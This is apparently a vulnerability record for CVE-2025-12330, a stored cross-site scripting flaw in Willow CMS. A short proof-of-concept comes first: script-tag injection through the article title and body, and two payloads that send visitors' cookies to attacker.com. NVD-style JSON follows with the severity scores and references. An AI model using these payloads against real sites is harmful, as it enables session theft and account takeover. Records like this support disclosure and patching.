CVE-2025-12330

// CVE-2025-12330 PoC - Willow CMS Stored XSS // Target: Willow CMS <= 1.4.0 // Component: /admin/articles/add (Add Post Page) // Attack Vector: title or body parameter // Step 1: Login to admin panel // POST /admin/login // username=admin&password=admin123 // Step 2: Submit malicious article // POST /admin/articles/add // title=<script>alert(document.cookie)</script>&body=<script>alert('XSS')</script> // Step 3: When any user visits the article, XSS payload executes // Example XSS payload for cookie stealing: const xssPayload = `<script> fetch('https://attacker.com/steal?cookie=' + document.cookie); </script>`; // Example XSS payload for session hijacking: const sessionHijackPayload = `<img src=x onerror=" document.location='https://attacker.com/log?c='+document.cookie ">`;

{"cve": {"id": "CVE-2025-12330", "sourceIdentifier": "[email protected]", "published": "2025-10-27T22:15:41.167", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security flaw has been discovered in Willow CMS up to 1.4.0. This issue affects some unknown processing of the file /admin/articles/add of the component Add Post Page. The manipulation of the argument title/body results in cross site scripting. The attack may be launched remotely. The exploit has been released to the public and may be exploited."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.9, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N", "baseScore": 2.4, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:M/C:N/I:P/A:N", "baseScore": 3.3, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "MULTIPLE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE"}, "baseSeverity": "LOW", "exploitabilityScore": 6.4, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-94"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:matthewdeaves:willow_cms:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.4.0", "matchCriteriaId": "E6C082B8-A6EB-4B96-818C-2BF3FB8CA4D9"}]}]}], "references": [{"url": "https://github.com/matthewdeaves/willow/issues/131", "source": "[email protected]", "tags": ["Issue Tracking", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.330115", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.330115", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.674404", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://www.youtube.com/watch?v=jhFCYpFu9qI", "source": "[email protected]", "tags": ["Exploit"]}]}}